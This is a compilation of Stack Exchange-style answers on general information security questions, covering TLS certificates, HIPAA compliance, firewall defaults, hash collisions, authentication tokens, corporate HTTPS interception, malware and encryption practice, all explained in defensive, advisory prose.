Trust is the foundation of business and has little to do with the issue, if you can not trust the company you hire to do work for you there is a bigger problem than just your data being leaked!

  On the other hand it's not a good idea to host the store on our servers because:
  Most of the software-devs don't care about security (I am the only one)
  CEOs don't want to spend "unnecessary" money on penetration-tests and audits.
  We have to inform our customers about happened breaches (possible sues).

This is not your problem, basically your boss or CEO is responsible for this, and you are only responsible to notify him/her (or some level between the CEO and yourself in) about the risks involved. Sometimes there are laws that require you to also inform some outside party / law enforcement. But generally thats only for 'criminal neglect', contact lawyer in the field before you do that!  Of course the CEO does not want to waste money on "unnecessary" penetration-tests or audits. You should only do those that are
necessary, and convince by showing and telling why it is necessary. There are real-world examples of risks and requirements to convince any CEO of the necessity of audits and pen-test.

  The Question is:
  Where to host the webshop, if each choice has so serious disadvantages?

Answer: On the bottom of the Marianna trench inside of a 1Km3 cement Block without power or Internet access. Or to be more precise, there is no safe place to host anything. the best place is a location with the least amount of risks and the best value for money. We on stack-exchange can not tell you where that is, nor will we try.


Why is my website showing as secure in Firefox but not in Chrome?

Welcome! As suggested by @toom if you use Developer Mode you can see what the issue is. Looks like it's a Symantec certificate you're using which is causing the issue, please see blockquote below.

  The SSL certificate used to load resources from https://www.paypalobjects.com will be distrusted in M70. Once distrusted, users will be prevented from loading these resources. See https://g.co/chrome/symantecpkicerts for more information.

I will assume you're not aware but Google are dropping support on Symantec certificates that were generated on the old PKI infrastructure.

Google drops Symantec certificate support

To further add to this as per Daves comments please see Symantec sells SSL business to DigiCert


Yes, you do have to be HIPAA compliant.
I'll keep the reasons as short and as logic as I can:

Protecting data by the use of cryptography is nothing else but a security layer you are using (which is good) but it does not void the need to be compliant to Health Information Privacy. In fact, this kind of protection is described in the "Security Rule" of HIPAA.
A "health profile" by itself can be personally identifying even without the storage of a name or email. One of many examples would be possible information about a person's DNA, or an uncommon disease, or a specific handicap, or even a non-typical illness. Even the blood-type is PII when you combine it with small pieces of other information from a health profile.
You talk about requesting a name or even an email. A real name or even an email address on it's own also qualifies as PII as it explicitly allows personally identification. Combine that with he "health profile" and you're in even bigger trouble if HIPAA compliance isn't 100%. An example of what happens when it's not: July 2011, UCLA agreed to pay $865,500 in a settlement regarding potential HIPAA violations. Think about it. Stuff like that happens. Got enough cash in your pockets for something like that? If, I bet you'ld rather spend it on something else. ;)
You describe the example of "web site where people fill medical syndrome questioners. They can see how their condition changes during the time period." Tracking these "medical conditions" is like tracking website visitors online: every additional piece of information builds a more complete "profile" up to the point where people can personally identify the people by looking at their condition changes and comparing that (for example) with a randomly selected group of people that could potentially match such profiles.

There are a few more points, which I'll skip to keep it short. But
as you see, there's already ample reason to watch your steps if you think about collecting "health profiles" while thinking about ignoring HIPAA.
The combination of a health-profile with any other kind of personally identifying information (like a "real name" or "email" or even a simple "postal code") actually forces you to be HIPAA compliant.
Besides, it will make your customers/website-visitors/health-profile-providers feel a lot more comfortable and safe if they notice you take their privacy more than serious. I think that's a bonus you shouldn't ignore... including the fact that HIPAA compliance can legally protect you in a worst-case scenario.
To wrap it all up again:

Health Profiles are PII (Personally Identifying Information) since they are PHI (Personal Health Information). Guess why HIPAA was created in the first place!
Emails are PII.
Names can be PII when real names are used.
Encryption has nothing to do with the question "if" or "if not" you need to be HIPAA compliant, because "what has been encrypted can be decrypted". Let me be absolutely clear on this one: Encryption does not void the fact that you collect PII, it only protects the data you collect.

In fact, you should go check on HIPAA yourself to make sure you know what you're asking about here...
http://www.hhs.gov/ocr/privacy/hipaa/understanding/summary/index.html

Protected Health Information. The Privacy Rule protects all "individually identifiable health information" held or transmitted by a covered entity or its business associate, in any form or media, whether electronic, paper, or oral. The Privacy Rule calls this information "protected health information (PHI)."
“Individually identifiable health information” is information, including demographic data, that relates to: the individual’s past, present or future physical or mental health or condition, the provision of health care to the individual, or the past, present, or future payment for the provision of health care to the individual, and that identifies the individual or for which there is a reasonable basis to believe it can be used to identify the individual.13  Individually identifiable health information includes many common identifiers (e.g., name, address, birth date, Social Security Number).
The Privacy Rule excludes from protected health information employment records that a covered entity maintains in its capacity as an employer and education and certain other records subject to, or defined in, the Family Educational Rights and Privacy Act, 20 U.S.C. §1232g.
De-Identified Health Information. There are no restrictions on the use or disclosure of de-identified health information.14 De-identified health information neither identifies nor provides a reasonable basis to identify an individual. There are two ways to de-identify information; either: (1) a formal determination by a qualified statistician; or (2) the removal of specified identifiers of the individual and of the individual’s relatives, household members, and employers is required, and is adequate only if the covered entity has no actual knowledge that the remaining information could be used to identify the individual.15

As you'll notice, my answer indicates nothing else than what the "U.S. Department of Health & Human Services" says... I just use more human wordings. ;)
Now, if you really want to avoid being compliant to HIPAA, all you have to do is to make sure your "health profiles" are 100% anonymous. No emails, no real names, no collection of any potentially personally identifying information or health information... the lot. And be sure you're not missing something!
The alternative to that is to make it easy on yourself and simply choose the HIPAA compliant way to work.
If you want to dive in a bit deeper, there's some additional info at https://www.cms.gov/hipaageninfo/ which might be interesting for you to check out. That is, besides that link I already noted above: http://www.hhs.gov/ocr/privacy/hipaa/understanding/summary/index.html


Is it safe to connect phone to desktop computer on USB?

due to the USB protocol design and lack of vendor signatures especially with USB firmware updates it's possible to install malicious firmware into the internal chip if a USB; antivirus are of no use in this case check out nohl & lell research called bad USB presented at black hat 2014

http://m.youtube.com/watch?v=nuruzFqMgIw


Can we define a single immutant state of a device (modern computers at least) to derive a key from?

The question that you have to ask yourself is, why do you want to use encryption? In security, all measures are means to counter a specific threat. You did not state your threat, so it will be difficult to know what you are trying to protect yourself against.
You did however mention video games, and asked if it was possible to encrypt the game data with a machine-specific key, so that it can't simply be copied to a different system. I will base my answer off this specific threat model, but I am open to more suggestions.

Why do you want to use encryption?
Encryption should protect the confidentiality of the data you encrypt. Only those who know the key to decrypt the data should be able to read the data. Encryption is not necessarily to protect the confidentiality of data in transmission, but also at rest.
On the surface, this sounds like what you want to do. You want to encrypt your data with said key, then decrypt it once the user wants to play your game.
A whole lot of problems
Sadly, this idea will lead to many problems, and probably will not give you any protection at all.
The gaming PC of Theseus Problem
Theseus was the mythical king and founder-hero of Athens. A little known fact about him was that he was also a passionate gamer, and loved building his own gaming PC. In fact, he was so passionate about it, that he always wanted to most powerful, up-to-date hardware.
First he upgraded his graphics card from a ψτω ΗΠ to a ψτω ΘΠ, then his CPU, hard drive, motherboard, case, PSU and more.
At some point his wife asked Theseus how many gaming PCs he has had so far, and he couldn't answer. Was it still the same gaming PC that he started with, even though it had no original parts anymore? At what point did it stop being his first PC?
While this may seem like a purely philosophical question at first, it does pose an interesting practical implication: What if your users modify their hardware somehow? What if a graphics card burns out and the user buys a new one? What if they upgrade their motherboard?
If your application behaves in a paranoid way, any any change to the hardware invalidates all their data, then people will quickly head for the hills and find a competitor. It doesn't even need to be a change in the hardware. If you read something like the BIOS as well, then any update to the system will invalidate it. Keep this in mind: Normal use of the computer could potentially invalidate the data.
Kerckhoffs's Principle
There was once a dutchman with a fancy beard, going by the name of Auguste Kerckhoffs. He was really into cryptography, and he made some principles in regards to good crypto design.
While there are six rules, only the second rule is of importance to us:

[The cryptosystem] should not require secrecy, and it should not be a problem if it falls into enemy hands.

More simply put, all should depend on the secrecy of the key. If your enemy is the user, and the secret component is some property of the PC of the user, then the enemy has access to the key as well.
As a result, the end user can, either manually or with a tool that will play chiptune music while running, read out their keys, decrypt the files, copy them over to an unauthorized system, and then encrypt them with the keys of the new system. As a result, your system fails completely.
More crypto is better!
Some may suggest to sign the encrypted data on your server before sending it to the client. The client may then be able to decrypt it, but cannot create a forged copy of the game to play on a different PC!
Well, they don't need to. Your data is already decrypted. All they have to do is use a custom executable, that does not attempt to decrypt the data, and the user can copy as much as they want.
Is there no way for this to work?
Not really. DRM, which is all this scheme is in its current form, is a complicated game of cat-and-mouse. And for good reason, more and more developers choose to remove DRM from their games after a certain time past the release.
The goal of DRM is mostly to prevent piracy in the first week of the game's launch, when people make the decision whether to buy or to pirate the game. The downside is that the games run terrible, install rootkits on the PC or otherwise make life living hell for legitimate customers.
But what about non-videogames? What about general things?
The flaws largely remain the same, and that is that users will find out which data is used as the key material, and then be able to manually decrypt their files.
Depending on how widespread your system is/will be, certain groups may release easy-to-use tools to dump those keys, or to decrypt them altogether.


What are the use-cases for Hashicorp Vault PKI?

Conceptually, Vault is similar to Netflix's Lemur. They both simplify the the process of obtaining a certificate by having the server-side (i.e. Vault) generate key-pair, generate CSR, sign certificate - returning both the certificate and associated private key.

Use case: many companies mandate their developers and testers configure their test or development servers with HTTPS, which require certificates. Here the reason for requiring HTTPS is not for security, but to ensure development and testing more accurately reflects how their products are configured in production. In such cases, the convenience of being able to quickly obtain a certificate outweighs the security concerns of private keys transmitted over the network.

The aforementioned Lemur blog post nicely illustrates the complexity of obtaining a certificate via the regular CSR procedure:

Whereas Lemur (and Vault) simplifies the process at the expense of some security:


How does video protection work when someone is recording their screen?

As pointed out by the comments, the reason that this happend is because of my video recorder could recognize that the video being played has digital rights management. For more details on how this technique work, check wikipedia.


How secure is Windows Hello when used with Intel 3D facial recognition?

According to Microsoft's website, there are 3 measurements that represent the accuracy of Windows Hello's facial recognition, which are: False Positives; True Positives; and False Negatives. These are explained in the quote below

  Microsoft represents the accuracy of Windows Hello face in three main
  measures, which are: False Positives, True Positives, and False
  Negatives.

  False positives:

  Also called False Acceptance Rate, represents the likelihood a random
  user who obtains access to your device will be recognized as you. This
  number should be as low as possible.

  With windows 10, the results are less than 0.001% or 1/100,000 FAR
  (False Acceptance Rate)

  True Positives:

  The True Positive rate represents the likelihood a user will be
  correctly matched to their profile each time they are registered by
  the camera This number should be high

  The results with windows 10 are greater than 95% with a single
  enrolled user

  False negatives:

  Represents the likelihood a user is not matched to their enrolled
  profile. This number should be low.

  The results with Windows 10 are less than 5% with a single enrolled
  user.


Is it recommended to drop all traffic by default in iptables after accepting only what is required?

Let me be blunt: "default deny" is the best practice. The concept is that the firewall blocks all traffic, and only allows the specific traffic that is approved.
But wait! What could those people mean that it doesn't add anything?
It's logic: without the DROP, if a packet does not match any rule, then the firewall doesn't do anything with it. There is no instruction for what to do with it. So it should just die, right?
However
That assumes that the system will behave in a consistent and predictable way when there is no matching rule. But you cannot be so sure about that.
A default deny rule is a safety net that ensures that the firewall will act like a firewall.


Why is weakness of SHA-1 considered a threat to TLS security

If they find a different value that produces the same SHA-1 digest as the website's actual public key, what have they gained?

Let's assume that we are dealing with MD5. SHA-1 attacks are still a work in progress and I expect they follow about the same lines as the attacks that are possible on MD5.

With MD5 it is possible to create two different values that produce a hash collision (within certain boundaries). That however doesn't mean that it is possible to create a hash collision given just any input data and the hash value over that data.

In your example that means that you cannot just get an MD5 or SHA1 signed certificate and then create a fake. So internal CA certificates created within a CA aren't much at risk. It is however possible to send a specially formatted certificate to a CA and then change the signed data in such a way that the signature still verifies.

So the same organization that requests the certificate is the one doing the attacking. This means they already got the private key. So replacing the public key could be possible, but would not make too much sense.

So what can they do. Well, it's about the "some other information" within the certificate. That can be changed by the organization requesting the information. Basically they can put in whatever they want in there. This means that a certificate for a certain domain may become a certificate for another domain. The certificate could become a certificate that can be used to create other certificates (although path length constraints may alleviate that issue).

In other words, the certificate authority signs a hash, which may be valid for other data. The certificate authority doesn't know what certificate it is signing anymore! You, as user, may get a certificate for mail.google.com with a valid signature that was created for happy.attacker.com, with the attacker holding the private key. In other words, you may not be communicating with Google at all!

Misconceptions:

  The hashing function is applied to a subject's public key.

No, it's applied to the certificate's attributes that require explicit trust (so also the domain name in the example); not just the public key.

  The CA then uses their private key to encrypt the hash output.

No, signature generation is not encryption. For RSA it also uses modular exponentiation, but that doesn't equate encryption. Even the RSA specifications - PKCS#1 - differentiate between signature generation and encryption.

  The output of that encryption along with some other information becomes the certificate.

That some information is quite important, and a lot of it is signed along with the public key. Validity period, issuer, public key, signature, subject, key usage, path length constraints, revocation related information are all pretty important.

  So, say someone is determined to impersonate a site that has an SHA-1 certificate and attacks the SHA-1 digest, by trying to produce a hash collision.

This would still take about 2^159 operations. So no, that's not likely to ever be attempted by a serious researcher.

  They could now forge a certificate that appears to be signed by the CA but instead of the actual public key contains X, but wouldn't this be useless to them without a matching private key for X?

Well, yes. And actually, a public key doesn't consist of a single value X, it consists of a modulus and exponent, which are ASN.1/DER encoded within X5.09 certificates. So X would have to have a pretty specific structure. If you try to break the certificate this way (which - as already established above - is unfeasible). So it would only be useful to replace the key with a specific X.

The encoding of the key and certificate that is signed may however contain additional information. This can be abused by an attacker, and it is actually required to perform the actual MD5 attack.

  I thought hashes are used in digital signatures mainly for performance reasons, due to the fact that public key cryptography like RSA is slow for large inputs.

No, not just performance reasons. RSA requires padding, which leaves about 11 bytes less than the key (modulus) size for the message - in case the older PKCS#1 v1.5 padding is used anyway. The signed attributes in general would be larger than that. In that case you need to compress the data using a hash method. ECDSA, another public key algorithm, can actually not encrypt any data.

In general it is better to think of the hash method as a configuration option for the signing algorithm. In other words, it is an integral part of the signature algorithm. This is also how it is specified in the various standards.


Is secondary password (e.g.: pin) necessary?

In certain implementations, yes, however it is susceptible to the same flaws single-factor passwords have. This renders the extra steps virtually useless.

In general there are three types of factors:

Something you know
Something you have
Something you are

Because a password and reusable pin rely on the same mechanism of knowing something, they can easily both be defeated with the use of a key-logger or other social engineering tactic. The pin would increase the crack-time of a brute force attempt, however it would not completely mitigate the risk of a brute force attempt as a two-factor authentication standard would.

In my experience, often times the pin input field is introduced only after the password is verified. A 6 pin code is easily broken once the initial password is discovered by using the password to gain access to the pin page and brute forcing through less than a million possible number combinations. However, input fields that require the password and the pin code appended together to verify credentials can vastly increase the time to break a password. A password that requires 8 alpha numeric characters hashed with md5 will require just over 113 years to go through all combinations.(http://calc.opensecurityresearch.com/) A password that appends 8 alpha-numeric characters and a 6 alphanumeric pin together increases the calculation time to over 84 trillion years.

If the pin is generated from a physical token with a constantly updating number, you increase the security because you will need both a password and the token to login. Best practices would dictate using true two-factor security and not rely on single-factor security.


How do I select a switch that protects against CAM attack?

For consumer-grade, off the shelf switches, you are unlikely to find port-security and/or MAC limiting features in unmanaged or 'dumb' switches.

If you move into the managed or 'smart' switch space, you will start to find these features. However they do come at a price, and often require some knowledge of the platform to configure. Typically these switches are used in businesses.

Companies like Cisco, HP and Juniper are companies who produce products which typically include these features. Each product tends to call the feature something different, so you would need to read through the spec sheet and do your research, if unfamiliar with the product or platform.


Secure cloud encryption scheme, do you know what is the standard for this?

Many cloud backup schemes and products use this architecture. Vendors ship an appliance or client software which encrypts and also manages or integrates with customer key management, and encrypted data is shipped to cloud storage. Keys never leave customer facility. Good approach, very common. Tricky problems in the domain are key management in general and the interaction between deduplication/compression and encryption. The former are essential for economics, but they reduce entropy. Reducing entropy can leak information, sufficient to allow for compromise of encryption keys.


Are there any client-side mitigations for FREAK?

Use a TLS stack which is not affected. The problem lies deep in the stack and there is no magic switch like NOFREAK=1 to disable to bug.

If you cannot switch the TLS stack or use the available fixes against the current stack (at least for OpenSSL) you might try to put some SSL-intercepting proxy in front which does all the TLS for you. Of course these kind of proxies often have their own problems, like not validating the certificates properly.


Well what exactly is the difference between a virus and just plain old malware?

Malware is a portmanteau for "malicious software". With that in mind:

  A computer virus is a type of malicious software that, when executed, replicates itself by modifying other computer programs and inserting its own code.

From Wikipedia / Computer Virus.

Does that answer your question?


Does a website's session key have to be unguessable if it's signed?

Including the signature in the session token makes it hard to guess.
Assume your token includes a signature and looks like this:
user_id:12,signature:5c9597f3c8245907ea71a89d9d39d08e

Of course, the first parts are easy to guess. The signature part is hard to guess. But what matters is whether the whole token is hard to guess, and since the signature is included, this is the case.
So the value you sign can be a simple incrementing counter, and that would be safe to use as a session token.


Are there unphotographable, but scannable ID cards?

Simple answer: No

If you can see it, you can photograph it.

There have been countless attempts over the years to solve this part of DRM and all have failed.

Instead of focusing on the barcode, have you considered making it difficult to copy the id card itself? So that security for each area can quickly check it isn't an overlay? For example a hologram over the barcode that the scanner ignores but a human can check, or a high quality plastic card with the barcode in the coloured coating - a guard can spot a fake overlay.


Using a system-wide proxy would give Apple an alternate (and possibly changing) IP address, but would not address the cookies. I have noticed that Safari will register cookies from other system services, iTunes being a likely suspect.

To address cookies and data sent to Apple, it would take a bit of work, but you could determine where cookies are placed and aggressively manage them. You could also use an application firewall like Little Snitch to block outgoing packets to offending Apple subdomains.

On the whole though, you need to articulate your threat model: what is it, exactly, that you are concerned about? What are your priorities for various threats? How much effort/inconvenience are you willing to incur to avoid these threats?

One thing to note is that Apple does not have pervasive trackers scattered around the internet like Google and others. So even if they know your IP address, there is relatively little risk in Apple correlating other internet activities with your use of core Apple services. If you really don't want Apple to know anything about you, you'll have to skip using an AppleID and don't use any system services that depend on the internet, even down to NTP which pings Apple servers. But if you trust Apple this little, you probably should avoid their products.


Where can I configure certificate rules on Windows 10?

The articles on Windows IT Pro Center are in a hierarchical order, and it is expected that it would be unnecessary to repeat the information provided on previous levels. Your answer is three levels up:

Security policy settings

  Security policy settings are rules that administrators configure on a
  computer or multiple devices for the purpose of protecting resources
  on a device or network. The Security Settings extension of the Local
  Group Policy Editor snap-in allows you to define security
  configurations as part of a Group Policy Object (GPO).

  For more info about managing security configurations, see Administer
  security policy settings.

Security policy settings reference

Security Options

System settings: Use certificate rules on Windows executables for Software Restriction Policies

If you are applying this to a single computer, your options are:

Local Security Policy (Win+R secpol.msc):

Local Group Policy Editor (Win+R gpedit.msc as suggested in the comments):

On a Windows AD domain you'd use the Group Policy Management or Security Configuration Wizard.


AES Key Generation Strategy/Algorithm For Offline System

The most secure method is to use digital signatures.  Generate a public/private keypair.  Application 1 gets a copy of the signing key (private key).  Application 2 gets a copy of the verification key (public key).  A token is now a signed string, signed by Application 1.

When Application 1 wants to generate a token, it can simply sign the string; the token consists of the string and the signature.  Application 2 can verify the token by verifying the signature.

Note that this approach does not prevent replay.  If a person gets a token from Application 1, he can provide it to Application 2 as many times as he wants, and it will appear to be valid each time.

If you want to prevent replay, one way to defend against replay is to ensure that the string being signed contains all details of the request, and to ensure that the request is idempotent (performing it multiple times has the same effect as performing it once).  If you do that, replay becomes irrelevant.

Alternatively, another simple method is to have Application 1 include the current time and a random 64-bit number (a nonce) in the string.  Application 2 can check that the time is reasonably recent (say, no more than 24 hours old), and check the nonce is not on its list of recently-accepted nonces; if both checks pass, Application 2 accepts the token and adds the nonce to its list of recently-accepted nonces.  (You can garbage-collect this list periodically: there is no point retaining a nonce from a token that is more than 24 hours old, as the time check will ensure that token will not be accepted as valid.)

If you try digital signatures and find that they cause performance problems, another suitable replacement is to use a message authentication code with a symmetric key (instead of a public-key signature algorithm).  When using a message authentication code (MAC), there is only one key, and both applications will need a copy of the key.  In principle, MAC-based tokens are slightly less secure, because now you have more copies of the secret key floating around.  That said, in practice in most situations MAC-based tokens are probably acceptable.  The difference between MAC-based tokens and signature-based tokens is unlikely to make a big difference to the security of the overall system, as most likely the weakest link in your system will be something else.


How to force GPG to use a Keycard when it is available

I do not believe there is a way to do it, because the key record in GnuPG keyring needs to indicate that the key is on the card -- only then gpg will try to connect to it. You can make a full recursive copy of your gnupg directory into another location (e.g. $HOME/.gnupg-backup) and then perform keytocard. This will delete the key from your $HOME/.gnupg main dir, but if for some reason you need to resort to the local copy of your key, you can set an environment variable export GNUPGHOME=$HOME/.gnupg-backup to force gnupg to use the backup location containing the private key.


How a provider can tap an internet line even for SSL encrypted connection

There are organizations that have "legitimate" reasons to tap your encrypted communications.  Your workplace, for example, might record your internet traffic to make sure you aren't using the company computers for illegal activities. Or they may be providing malware filtering services.   They can tap https traffic by using a proxy that injects itself as a man-in-the-middle.  The workplace computers are first given a trusted root certificate issued by the proxy (on a Windows network, these are often pushed via Group Policy.)  When your browser attempts to connect to https://www.google.com, the proxy creates a new certificate that authenticates your connection to the proxy, and sends it back to your browser.  Because it's signed by the trusted root, your browser accepts the connection.  The proxy then establishes an https connection with google on your behalf, and sends the communications through the proxy, logged and filtered as the company requires.

BlueCoat (now owned by Symantec) makes such a product, if you're interested.

This won't simply work if the client doesn't trust the MITM proxy.  The client will get "invalid certificate" warnings about every encrypted site they attempt to connect to.  Some people will simply check the box and surf anyway, unaware that they have been attacked.

You can also test this out for yourself using BurpSuite (the free edition can do this.)  Configure BurpSuite to proxy https sites, use it to generate your own certificate, and then configure your browser to use Burp as your proxy.  When you visit an https site, you'll see the "wrong certificate" warning messages.  If you then add your generated certificate to your browser's Trusted Root certificate store, you'll see that the warnings go away, while you still intercept all the traffic in Burp.  Here's a tutorial you can follow to do this:  https://portswigger.net/burp/help/proxy_using.html

Another way to tap an encrypted connection is used by the NSA.  They have a system called QUANTUM that is located at key sites in the backbone, and can respond faster to a request than the legitimate site.  They can then redirect the traffic to a FOXACID server, which will attempt to exploit the computer sending the request.  If they can inject a root certificate (or if they have already compromised a root certificate that your computer already trusts,) then they can inject a man-in-the-middle proxy just like the BlueCoat system above.

EDIT:  Since you're asking about the ISP performing a MITM attack, know that in the past some ISPs have distributed software to their customers on "installation setup disks" that were included with the rental modem.  If you install their disk, you run the risk of installing their certificate in your machine.  I don't know if any Western country's ISPs have (legally) done that, but I wouldn't be surprised if certain countries with tightly monitored communications already do this.


What hardware and or software do I need in order to limit outbound traffic?

Fortigate devices, yours will support this, can do Web Content filtering, and site analysis.

https://help.fortinet.com/fos60hlp/60/Content/FortiOS/fortigate-security-profiles/Web_Filter/web_filter_chapter.htm?Highlight=web%20filtering

You can setup firewall rules based on user identities (either by sign-in page or RADIUS to your DC) that rate limit users, or assign them web-filter levels based on groups they're in.

Even better, the Fortigate web filtering can do deep packet inspection, so you can even inspect https sites.


Best place to store authentication tokens client side

There are two ways you can save authentication information in the browser:

Cookies
HTML5 Web Storage

In each case, you have to trust that browsers are implemented correctly, and that Website A can't somehow access the authentication information for Website B. In that sense, both storage mechanisms are equally secure. Problems can arise in terms of how you use them though.
If you use cookies:

The browser will automatically send the authentication information with every request to the API. This can be convenient so long as you know it's happening.
You have to remember that CSRF is a thing, and deal with it.

If you use HTML5 Web Storage:

You have to write Javascript that manages exactly what authentication information is sent to the API.

A big practical difference people care about is that with cookies, you have to worry about CSRF. To handle CSRF properly, you need an additional "synchronizer token".
All-in-one web frameworks (like Grails, Rails, probably asp.net) usually provide an easy way to enable CSRF protection, and automatically add synchronizer token stuff in your UI. But if you're writing a UI using a client-side-only web framework (like AngularJS or BackboneJS), you're going to have to write some Javascript to manage the synchronizer token. So in that case you might as well just go with the HTML5 Web Storage approach and only worry about one token.


How to protect off-the-shelf web applications?

First, my condolences.  That sounds like a real bummer - having to bolt on security after the fact with little or no analysis time, with a black box commercial product, no way to get fixes and a forced hand in terms of what product is chosen and when it's deployed is something like a security nerd nightmare.  I'm sorry if this is a real situation - it's not a position I would want to be in, and my first advice would be figure out ways to politically wrangle yourself out of such a situation.  This speaks loudly for an organization where security plays a serious backseat to the demands of IT.  That always spells a bad case for good security practices and it could be your organization's #1 security problem.

Failing an organizational approach at changing the game, here's my common sense thoughts.

Know what authentication and access control the product provides.  Not a full on pen test, just stage it, test it, read what docs you can get, and get some sense of how it fits together.  That'll at least give some clues on weak points that bear some protection.
Application level firewalls that can watch and detect problems in incoming and outgoing HTTP traffic.  Challenge - these are not usually cheap, and they take time and effort to tune.  They are quite likely to have an unacceptable number of false positives right out of the box, and you will need time to get it set up correctly.  Plan on plenty of testbed time before deployment and get a handle on as many valid use cases as you can for setting up test scenarios so that when you deploy you risk very little in terms of operational functionality.
Good backup strategies - figure out a way to deploy quickly and loose as little data as possible in the process.  From what you've said, the new application is untrustworthy, but necessary - so figure it'll get hacked, and figure out a way to recover so that the downtime is minimal with as little impact as possible to your business' mission.
Isolate it.  Don't put this untrusted app on a machine that also holds well-vetted systems.  Similarly, keep the data somewhat isolated if you can, and use some sort of out band transfer mechanism if you have conjoin this data with other business data.  When you have to do something like that, also consider that the data may be corrupt and build in protection mechanisms there.  If it is built off access control systems used by other areas of the company, be sure that the web app has it's own account for privilege lookup functions, and that this account is kept to a bare minimum of capabilities with no change/modify permissions.  Also - log anything that occurs where this system touches some other system so you have a good record.
Build your knowledge base slowly and surely.  I can see a company balking at a security review if security isn't a high priority for them, but no one seems to object to admins learning more about the system as they go.  Start small and cheap with trawling the web and then see what you can do in terms of weaseling free support from the company who provides the product.  Some companies will be happy for the free customer feedback and the diagnostics of security issues.  I've managed to weasel a fairly respectable amount of free tech support simply by being charming, assertive and non-judgmental.

Those are my thoughts.  My basic premise is - treat this thing as a potentially dangerous hole in your system and do everything you can to protect the system, keep all functionality functioning and build up enough knowledge and protection mechanisms that you can eventually upgrade your faith in the product.


Can viruses access passwords that have been saved by a browser?

You should assume so no matter what*

When your system gets compromised you must assume that it has compromised any accounts stored on the system. You should go about changing the passwords for any accounts used on that computer in any place. You have no control over the virus, and you have no control how programs store your data so you don't know if your accounts are safe. As the general rule always assume a compromised computer means compromised accounts.

Password storage in browsers

For most browsers those passwords are stored encrypted, but since the computer is on and the infection has access to memory space it can find the key and decrypt them itself. These infections usually target the browsers specifically, but can also have a wider scope of impact.

The real attack the encrypted passwords protects against is the theft of the hard drive. However if the cipher text is in the memory then it can be found and taken.

Regarding Master Passwords and Password Managers

While convenient, these offer little protection from an infection due to the fact that the cipher text is still loaded into the memory space. These provide protection from sit down attacks, stolen hard drives, and user ineptitude.
They do not protect against an infection that has access to memory space

*:  unless you know absolutely how and what and where the infections do their work.


Can a virus destroy the BIOS of a modern computer?

Modern computers don't have a BIOS, they have a UEFI. Updating the UEFI firmware from the running operating system is a standard procedure, so any malware which manages to get executed on the operating system with sufficient privileges could attempt to do the same. However, most UEFIs will not accept an update which isn't digitally signed by the manufacturer. That means it should not be possible to overwrite it with arbitrary code.

This, however, assumes that:

the mainboard manufacturers manage to keep their private keys secret
the UEFI doesn't have any unintended security vulnerabilities which allow overwriting it with arbitrary code or can otherwise be exploited to cause damage.

And those two assumptions do not necessarily hold.

Regarding leaked keys: if a UEFI signing key were to become known to the general public, then you can assume that there would be quite a lot of media reporting and hysterical patching going on. If you follow some IT news, you would likely see a lot of alarmist "If you have a [brand] mainboard UPDATE YOUR UEFI NOW!!!1111oneone" headlines. But another possibility is signing keys secretly leaked to state actors. So if your work might be interesting for industrial espionage, then this might also be a credible threat for you.

Regarding bugs: UEFIs gain more and more functionality which has more and more possibilities for hidden bugs. They also lack most of the internal security features you have after you have booted a "real" operating system.


TL;DR Concatenate all but root.

It's only required to concatenate site certificate with the intermediate certificate. If there is more than one intermediate certificates you need to concatenate all of them.

The "root certificate" is the last certificate in the chain - it's the last because it is self-signed, and no other certificate in the world could verify it.

Concatenating root will work but is not recommended. The properly implemented client-side software (web browser) cannot ever trust a root that it received from your site. It must ignore it. It has all the valid roots in its trust store and there is no use to ever trust a root that is distributed over an insecure connection from a random site.

If a user wants to except your site from certificate validation, there is also no use for them to add your root certificate to trust store. More than likely that user is not aware that they open door to nearly all their SSL connections (except pinned ones). They should only ever trust your site certificate (aka the leaf certificate).

The popular ssllabs.com test site issues a minor warning in case a root is concatenated, describing the connection with something like "contains anchor".


First of all, this depends on the country you are in and its laws. The best practice is to encrypt all your user data since you are handling financial data.

Just to avoid confusion about data encryption, there are generally two things to deal with, as described below. The reason I bring this up is that in my experience people tell me as a security consultant that "the database is encrypted".

However, by asking a few more questions, it turns out that the data in the database itself is not encrypted but the disks the database is running on.

1. Disk Encryption

This type of encryption protects your data from being stolen if one of more physical machines are in rest (turned off and stolen perhaps)

2. Database Encryption

This type of encryption protects your data in the database itself. For example, if an attacker is able to (partially) dump your database, the records are encrypted and is basically useless to the attacker.

The only challenge here is, where do you store the encryption key. This key should never be on the same disk (e.g. in a configuration file) of either the application server and database server.

In order to read the encryption key, a 'vault' mechanism is recommended. Google "encryption key vault" should lead to several solutions that you could implement.

How much should I encrypt?

In my opinion, financial data itself should definitely be encryption but this also depends on regulations and company policy. I have been in companies that use the following policy:

"Every record that can be used to identify a person is considered sensitive data"

Examples are: Social Security Numbers, bank account numbers etc.

What's the best way to encrypt it?

In my experience, most of the time, symmetric key encryption is used.

What's the best storage medium?

Most open source databases support column encryption, so does Postgres.


OSSEC capabilities for handle a virus that already spread into the deepest system

Yes, basically you've answered your own question. Active response allows you to run any commands. Since it accepts executables, start with shell scripts, chmod it and the script will run when the corresponding trigger comes. Then you can enhance it further with python scripting to do more things not possible by bash. You'll need some programming but because active-response allows any executable to handle the triggers, the possibilities are endless.

Start here:

http://ossec-docs.readthedocs.io/en/latest/syntax/head_ossec_config.active-response.html
https://github.com/ossec/ossec-docs/blob/master/docs/syntax/example_ossec_config.active-response.trst


How important is it to protect demo data by HTTPS enabled server?

It depends on your specific case. How valuable the demo data is, how security-critical the product is, and the probability of an attack during the demo. So I'll give you my personal opinion.

The general public has become more informed about SSL in the past few years. Everybody knows about checking for the "S" or checking for the padlock, so chances are that your customer already knows about HTTPS. Your customer might think "Why aren't they using the padlock? Does it mean this product is not secure?". Using self-signed certificates will show the big scary warning and will make you look unprofessional.

For those reasons, go with HTTPS. Besides, StartCom offers free SSL certificates, and Comodo offers a 90-day free trial.


When I connect my PC to a network, what (meta) information can the router/admin see that identifies my PC?

Windows systems tend to be chatty. For instance, at many times they will try to discover other Windows machines on the same LAN, or printers; and they will announce themselves similarly. This behaviour is largely muted if you inform Windows that you are on a "public network" (see this page). If you let your Windows behave as if it was at home, then it will begin to shout information across the LAN, including its name.

Even if you configure Windows to be discreet, the sysadmin may still, through passive eavesdropping, notice the presence of your machine, see its MAC address, observe the connection from your machine to your VPN server (and thus know not only that you use a VPN, but also the IP address of the VPN server). Your machine may also issue some out-of-VPN network accesses (e.g. to Windows Update), and the sysadmin will see those. If the sysadmin is a bit more nosy, he may begin to actively scan your machine for open network services, and analyse emitted packets to infer your operating system brand and version (e.g. with nmap).

